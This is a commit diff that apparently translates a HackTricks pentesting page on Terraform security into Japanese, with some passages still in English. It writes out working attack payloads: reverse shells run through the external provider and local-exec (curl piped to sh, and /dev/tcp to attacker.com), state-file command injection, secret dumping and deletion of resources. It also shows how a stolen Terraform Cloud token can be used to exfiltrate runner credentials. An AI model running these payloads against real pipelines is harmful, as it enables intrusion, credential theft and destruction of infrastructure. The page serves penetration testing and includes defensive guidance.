mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 11:44:59 -08:00
Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to ja
This commit is contained in:
@@ -1,68 +1,68 @@
|
||||
# Terraform Security
|
||||
# Terraform セキュリティ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
[ドキュメントから:](https://developer.hashicorp.com/terraform/intro)
|
||||
[ドキュメントより:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントを管理できるだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
|
||||
HashiCorp Terraform は **インフラストラクチャをコードとして定義するツール** で、**クラウドおよびオンプレミスのリソース** をバージョン管理、再利用、共有できる人間が読みやすい構成ファイルで定義できます。これにより、一貫したワークフローでインフラ全体をライフサイクルを通じてプロビジョニングおよび管理できます。Terraform は compute、storage、networking のような低レベルのコンポーネントだけでなく、DNS エントリや SaaS 機能のような高レベルのコンポーネントも管理できます。
|
||||
|
||||
#### Terraformはどのように機能しますか?
|
||||
#### Terraform はどのように動作するか?
|
||||
|
||||
Terraformは、クラウドプラットフォームや他のサービス上でリソースを作成および管理するために、アプリケーションプログラミングインターフェース(API)を通じて操作します。プロバイダーは、Terraformがアクセス可能なAPIを持つほぼすべてのプラットフォームやサービスで機能することを可能にします。
|
||||
Terraform はクラウドプラットフォームや他のサービスの API を通じてリソースを作成・管理します。プロバイダは、アクセス可能な API を持つほぼすべてのプラットフォームやサービスと Terraform を連携させます。
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千の異なるタイプのリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。
|
||||
HashiCorp と Terraform コミュニティは既に **1700 を超えるプロバイダ** を作成しており、さまざまなタイプのリソースやサービスを管理しています。この数は増え続けています。公開されているプロバイダはすべて [Terraform Registry](https://registry.terraform.io/) で確認でき、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog などが含まれます。
|
||||
|
||||
Terraformのコアワークフローは、3つのステージで構成されています。
|
||||
Terraform のコアワークフローは次の3つの段階で構成されます:
|
||||
|
||||
- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド(VPC)ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。
|
||||
- **計画:** Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または破棄するインフラストラクチャを説明する実行計画を作成します。
|
||||
- **適用:** 承認後、Terraformはリソースの依存関係を尊重しながら、提案された操作を正しい順序で実行します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。
|
||||
- **Write:** 複数のクラウドプロバイダやサービスにまたがるリソースを定義します。例えば、VPC ネットワーク内の仮想マシンにアプリケーションをデプロイし、security groups と load balancer を構成する設定を作成することがあります。
|
||||
- **Plan:** Terraform は、既存のインフラとあなたの設定に基づいて、作成・更新・破棄されるインフラを記述する実行プランを作成します。
|
||||
- **Apply:** 承認されると、Terraform はリソース依存関係を尊重して適切な順序で提案された操作を実行します。例えば、VPC のプロパティを更新してその VPC 内の仮想マシンの数を変更した場合、Terraform は仮想マシンをスケールする前に VPC を再作成します。
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraformラボ
|
||||
### Terraform ラボ
|
||||
|
||||
コンピュータにterraformをインストールするだけです。
|
||||
単にコンピュータに Terraform をインストールしてください。
|
||||
|
||||
ここに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、ここにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
|
||||
こちらに [ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli) があり、こちらが [Terraform のダウンロード方法(推奨)](https://www.terraform.io/downloads) です。
|
||||
|
||||
## TerraformにおけるRCE: 設定ファイルの毒盛り
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協させる唯一の方法は、**terraform設定ファイルを追加/変更できること**または**terraform状態ファイルを変更できること**です(以下の章を参照)。
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
|
||||
|
||||
しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つため、妥協するのは難しいです。
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
|
||||
攻撃者がterraformが実行されているシステムを妥協させる主な方法は、**terraform設定を保存しているリポジトリを妥協させること**です。なぜなら、ある時点でそれらは**解釈される**からです。
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
|
||||
実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。例えば、**Atlantis**:
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
terraformファイルを妥協させることができれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行する方法はいくつかあります。
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform planは、terraformで**最も使用されるコマンド**であり、terraformを使用する開発者やソリューションは常に呼び出します。したがって、**RCEを取得する最も簡単な方法**は、`terraform plan`で任意のコマンドを実行するように設定ファイルを毒盛りすることです。
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
|
||||
**外部プロバイダーを使用する**
|
||||
**Using an external provider**
|
||||
|
||||
Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
以下のようなものをterraform設定ファイルに注入すると、`terraform plan`を実行したときにリバースシェルが実行されます:
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**カスタムプロバイダーの使用**
|
||||
**カスタムプロバイダの使用**
|
||||
|
||||
攻撃者は[カスタムプロバイダー](https://learn.hashicorp.com/tutorials/terraform/provider-setup)を[Terraform Registry](https://registry.terraform.io/)に送信し、その後、機能ブランチのTerraformコードに追加することができます([こちらの例](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
攻撃者は [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) を [Terraform Registry](https://registry.terraform.io/) に提出し、その後 feature branch の Terraform コードにそれを追加することができます([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -75,28 +75,28 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
プロバイダーは`init`でダウンロードされ、`plan`が実行されると悪意のあるコードが実行されます。
|
||||
プロバイダは `init` 時にダウンロードされ、`plan` が実行されると悪意のあるコードが実行されます
|
||||
|
||||
例は[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)で見つけることができます。
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**外部リファレンスを使用する**
|
||||
**外部参照の利用**
|
||||
|
||||
前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。以下の提案に従うことで、**よりステルスな方法**でこの攻撃を実行できます:
|
||||
どちらのオプションも有用ですが、あまりstealthyではありません(2つ目の方が1つ目よりstealthyですが、より複雑です)。次の提案に従うことで、この攻撃をさらに**stealthier way**で行うことができます:
|
||||
|
||||
- terraformファイルにrevシェルを直接追加する代わりに、revシェルを含む**外部リソースをロード**することができます:
|
||||
- terraformファイルにrev shellを直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
あなたは[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)でrev shellコードを見つけることができます。
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠すことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- 外部リソースでは、**ref** 機能を使ってリポジトリ内のブランチにある **terraform rev shell code in a branch** を隠します。例えば: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を注入してRCEを取得するために悪用することもできます。**\
|
||||
`main.tf`ファイルの最後に次のようなペイロードが含まれていることを確認するだけです:
|
||||
Terraform apply はすべての変更を反映するために実行されます。また、[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html) を使った **a malicious Terraform file with** を注入して RCE を得るように悪用することもできます。\
|
||||
次のようなペイロードが `main.tf` ファイルに含まれるようにすればよいです:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
前の技術からの**提案に従って**、この攻撃を**外部参照を使用してよりステルス的に実行**します。
|
||||
前の手法からの**提案に従い**、**外部参照を使用してよりステルスに実行する**ことでこの攻撃を行ってください。
|
||||
|
||||
## Secrets Dumps
|
||||
## シークレットのダンプ
|
||||
|
||||
`terraform apply`を実行することで**terraformによって使用される秘密の値をダンプ**するには、terraformファイルに次のようなものを追加します:
|
||||
terraform ファイルに次のようなものを追加し、`terraform apply` を実行すると、terraform が使用する**シークレット値をダンプさせる**ことができます:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Terraformステートファイルの悪用
|
||||
## Terraform State Filesの悪用
|
||||
|
||||
Terraformステートファイルに書き込みアクセスがあるが、Terraformコードを変更できない場合、[**この研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)はファイルを利用するための興味深いオプションを提供します。設定ファイルに書き込みアクセスがあっても、ステートファイルのベクターを使用する方が、`git`履歴に痕跡を残さないため、しばしばより巧妙です。
|
||||
terraform state files に対して書き込み権限があるが terraform のコードを変更できない場合、[**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) はそのファイルを利用するための興味深い方法をいくつか紹介しています。たとえ config files に書き込み権限があっても、state files を使うベクターの方が痕跡を残さずに済むことが多く、`git` の履歴に記録が残りません。
|
||||
|
||||
### TerraformにおけるRCE: 設定ファイルの毒化
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことが可能で、悪意のあるプロバイダーに対してTerraformステートファイル内のプロバイダーの1つを置き換えるか、悪意のあるプロバイダーを参照する偽のリソースを追加することができます。
|
||||
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
|
||||
|
||||
プロバイダー[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)はこの研究に基づいており、この原則を武器化しています。偽のリソースを追加し、実行したい任意のbashコマンドを属性`command`に記述できます。`terraform`の実行がトリガーされると、これは`terraform plan`および`terraform apply`の両方のステップで読み取られ、実行されます。`terraform apply`ステップの場合、`terraform`はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、[このプロバイダーのソースコードをホストしているGitHubリポジトリ](https://github.com/offensive-actions/terraform-provider-statefile-rce)で見つけることができます。
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
直接使用するには、`resources`配列の任意の位置に以下を含め、`name`および`command`属性をカスタマイズしてください:
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -152,15 +152,15 @@ Terraformステートファイルに書き込みアクセスがあるが、Terra
|
||||
]
|
||||
}
|
||||
```
|
||||
その後、`terraform`が実行されると、あなたのコードが実行されます。
|
||||
そして、`terraform` が実行されるとすぐに、あなたのコードが実行されます。
|
||||
|
||||
### リソースの削除 <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
リソースを破壊する方法は2つあります:
|
||||
リソースを破棄する方法は2つあります:
|
||||
|
||||
1. **破壊する実際のリソースを指すランダムな名前のリソースを状態ファイルに挿入する**
|
||||
1. **破棄対象の実際のリソースを指す、ランダムな名前のリソースをstate ファイルに挿入する**
|
||||
|
||||
terraformはそのリソースが存在すべきではないと判断し、破壊します(指定された実際のリソースIDに従って)。前のページの例:
|
||||
terraform はそのリソースが存在すべきでないと判断するため、実際のリソース ID に従ってそれを破棄します。前ページの例:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -176,13 +176,13 @@ terraformはそのリソースが存在すべきではないと判断し、破
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **リソースを削除する方法を変更して、更新できないようにする(そうすれば削除され再作成される)**
|
||||
2. **更新できないようにリソースを変更して削除させる(つまり削除されて再作成される)**
|
||||
|
||||
EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformが削除して再作成します。
|
||||
EC2 インスタンスの場合、インスタンスタイプを変更するだけで terraform が削除して再作成します。
|
||||
|
||||
### ブラックリストに載ったプロバイダーを置き換える
|
||||
### ブラックリスト化されたプロバイダを置き換える
|
||||
|
||||
`hashicorp/external`がブラックリストに載った場合は、次の手順で`external`プロバイダーを再実装できます。注意:私たちは、https://registry.terraform.io/providers/nazarewk/external/latest に公開されたexternalプロバイダーのフォークを使用しています。自分のフォークや再実装を公開することもできます。
|
||||
もし `hashicorp/external` がブラックリストに登録されている場合、以下の手順で `external` プロバイダを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external provider のフォークを使用しています。自分のフォークや再実装を公開しても構いません。
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -193,27 +193,27 @@ version = "3.0.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
その後、通常通り `external` を使用できます。
|
||||
その後、通常どおり `external` を使用できます。
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Terraform Cloudの推測プランRCEと資格情報の抽出
|
||||
## Terraform Cloud speculative plan による RCE と credential exfiltration
|
||||
|
||||
このシナリオは、推測プラン中にTerraform Cloud (TFC) ランナーを悪用して、ターゲットクラウドアカウントにピボットします。
|
||||
このシナリオは Terraform Cloud (TFC) の runners を speculative plans の間に悪用し、ターゲットのクラウドアカウントへピボットします。
|
||||
|
||||
- 前提条件:
|
||||
- 開発者マシンからTerraform Cloudトークンを盗む。CLIはトークンをプレーンテキストで`~/.terraform.d/credentials.tfrc.json`に保存します。
|
||||
- トークンはターゲットの組織/ワークスペースにアクセスでき、少なくとも`plan`権限を持っている必要があります。VCSバックのワークスペースはCLIからの`apply`をブロックしますが、推測プランは依然として許可されます。
|
||||
- Preconditions:
|
||||
- 開発者のマシンから Terraform Cloud トークンを盗む。CLI はトークンをプレーンテキストで `~/.terraform.d/credentials.tfrc.json` に保存している。
|
||||
- そのトークンはターゲットの organization/workspace へアクセスでき、少なくとも `plan` 権限を持っている必要がある。VCS-backed workspaces は CLI からの `apply` をブロックするが、それでも speculative plans は許可する。
|
||||
|
||||
- TFC APIを介してワークスペースとVCS設定を発見する:
|
||||
- TFC API を用いて workspace と VCS 設定を確認する:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- 外部データソースとTerraform Cloudの"cloud"ブロックを使用して、VCSバックのワークスペースをターゲットにした投機的プラン中にコード実行をトリガーします:
|
||||
- external data source と Terraform Cloud "cloud" ブロックを使用して VCS-backed workspace をターゲットにし、speculative plan の実行中にコード実行をトリガーする:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
@@ -226,30 +226,30 @@ data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
TFCランナーでリバースシェルを取得するための例 rsync.sh:
|
||||
TFC runner上でreverse shellを取得するためのrsync.shの例:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
エフェメラルランナーでプログラムを実行するための推測的な計画を実行します:
|
||||
エフェメラルランナー上でプログラムを実行するための試行的プランを実行する:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- ランナーから注入されたクラウド認証情報を列挙し、抽出します。実行中、TFCはファイルと環境変数を介してプロバイダーの認証情報を注入します:
|
||||
- ランナーから注入されたクラウド認証情報を列挙して持ち出す。実行中、TFC はファイルと環境変数を介してプロバイダ認証情報を注入します:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
期待されるファイルは、ランナーの作業ディレクトリにあります:
|
||||
ランナーの作業ディレクトリに期待されるファイル:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (ワークロードアイデンティティフェデレーションJSON設定)
|
||||
- `tfc-gcp-token` (短命のGCPアクセストークン)
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation の JSON 設定)
|
||||
- `tfc-gcp-token` (短期の GCP アクセストークン)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (ウェブアイデンティティ/OIDCロール引き受け設定)
|
||||
- `tfc-aws-token` (短命のトークン; 一部の組織では静的キーを使用する場合があります)
|
||||
- `tfc-aws-shared-config` (web identity/OIDC ロール引受設定)
|
||||
- `tfc-aws-token` (短期トークン; 一部の組織は静的キーを使用する場合あり)
|
||||
|
||||
- VCSゲートをバイパスするために、短命の資格情報をアウトオブバンドで使用します:
|
||||
- 短期の認証情報を別経路で使用して VCS のゲートを回避する:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
@@ -263,27 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
これらのクレデンシャルを使用すると、攻撃者はネイティブCLIを使用してリソースを直接作成/変更/削除でき、VCSを介して`apply`をブロックするPRベースのワークフローを回避できます。
|
||||
これらの認証情報を使うと、攻撃者はネイティブCLIを直接使ってリソースを作成/変更/削除でき、VCS経由での`apply`をブロックするPRベースのワークフローを回避できます。
|
||||
|
||||
- Defensive guidance:
|
||||
- TFC ユーザー/チームおよびトークンには最小権限の原則を適用する。メンバーシップを監査し、過剰な権限を持つオーナーを避ける。
|
||||
- 可能な場合、機密性の高いVCS-backedワークスペースでは`plan`権限を制限する。
|
||||
- Sentinel ポリシーで provider/data source の allowlists を強制し、`data "external"` や不明なプロバイダーをブロックする。provider フィルタリングに関する HashiCorp のガイダンスを参照する。
|
||||
- 静的なクラウド資格情報よりも OIDC/WIF を優先する。runners を機密とみなし、投機的な plan 実行や予期しない egress を監視する。
|
||||
- `tfc-*` 認証情報アーティファクトの持ち出し (exfiltration) を検出し、plan 実行中の疑わしい `external` プログラム使用をアラートする。
|
||||
|
||||
|
||||
## Terraform Cloud の侵害
|
||||
|
||||
### トークンを使用する
|
||||
|
||||
**[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)** の説明のとおり、terraform CLI はトークンをプレーンテキストで **`~/.terraform.d/credentials.tfrc.json`** に保存します。これを盗むと攻撃者はトークンのスコープ内でユーザーになりすますことができます。
|
||||
|
||||
このトークンを使用すると、次のように org/workspace を取得することができます:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
前章で説明したように、**`terraform plan`** を使用して任意のコードを実行することが可能です。
|
||||
|
||||
### クラウドへの脱出
|
||||
|
||||
ランナーが何らかのクラウド環境内に存在する場合、そのランナーに紐づけられたプリンシパルのトークンを取得し、アウトオブバンドで利用することが可能です。
|
||||
|
||||
- **GCP files (現在の実行ワーキングディレクトリに存在)**
|
||||
- `tfc-google-application-credentials` — 外部アイデンティティを交換する方法を Google に指示する Workload Identity Federation(WIF) 用の JSON 設定。
|
||||
- `tfc-gcp-token` — 上記で参照される短期間有効(≈1時間)の GCP アクセストークン
|
||||
|
||||
- **AWS ファイル**
|
||||
- `tfc-aws-shared-config` — web identity federation/OIDC によるロールアサンプション用の JSON(静的キーより推奨)。
|
||||
- `tfc-aws-token` — 短期間有効なトークン、または設定ミスがある場合は静的な IAM キーの可能性もある。
|
||||
|
||||
- 防御的ガイダンス:
|
||||
- TFCユーザー/チームおよびトークンに最小特権を適用します。メンバーシップを監査し、過剰なオーナーを避けます。
|
||||
- 可能な限り、機密性の高いVCSバックのワークスペースで`plan`権限を制限します。
|
||||
- Sentinelポリシーを使用してプロバイダー/データソースの許可リストを強制し、`data "external"`や不明なプロバイダーをブロックします。プロバイダーのフィルタリングに関するHashiCorpのガイダンスを参照してください。
|
||||
- 静的クラウドクレデンシャルよりもOIDC/WIFを優先します。ランナーを機密として扱います。推測的なプラン実行と予期しない出口を監視します。
|
||||
- `tfc-*`クレデンシャルアーティファクトの流出を検出し、プラン中の疑わしい`external`プログラムの使用に警告します。
|
||||
|
||||
## 自動監査ツール
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snykは、Terraform、CloudFormation、Kubernetes、およびその他のIaCフォーマットにおける脆弱性と誤設定を検出する包括的なInfrastructure as Code (IaC)スキャンソリューションを提供します。
|
||||
Snyk は Terraform、CloudFormation、Kubernetes、その他の IaC フォーマットにおける脆弱性や設定ミスを検出する包括的な Infrastructure as Code (IaC) スキャンソリューションを提供します。
|
||||
|
||||
- **機能:**
|
||||
- セキュリティ脆弱性とコンプライアンス問題のリアルタイムスキャン。
|
||||
- **機能:**
|
||||
- セキュリティ脆弱性やコンプライアンス問題に対するリアルタイムスキャン。
|
||||
- バージョン管理システム(GitHub、GitLab、Bitbucket)との統合。
|
||||
- 自動修正プルリクエスト。
|
||||
- 詳細な修正アドバイス。
|
||||
- **サインアップ:** [Snyk](https://snyk.io/)でアカウントを作成します。
|
||||
- 自動的な修正用プルリクエスト。
|
||||
- 詳細な修復アドバイス。
|
||||
- **サインアップ:** [Snyk](https://snyk.io/) でアカウントを作成してください。
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
@@ -292,28 +319,28 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。
|
||||
**Checkov** は、infrastructure as code (IaC) 向けの静的コード解析ツールであり、イメージやオープンソースパッケージ向けのソフトウェア構成解析 (SCA) ツールでもあります。
|
||||
|
||||
それは、[Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
|
||||
これは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンでセキュリティおよびコンプライアンスの設定ミスを検出します。
|
||||
|
||||
それは、オープンソースパッケージと画像のための一般的な脆弱性および露出 (CVE) のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。
|
||||
また、[Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行し、オープンソースパッケージやイメージを対象に Common Vulnerabilities and Exposures (CVEs) を検出するスキャンを行います。
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`は、インフラストラクチャコードに対するネガティブテスト機能を有効にするための、軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークです。
|
||||
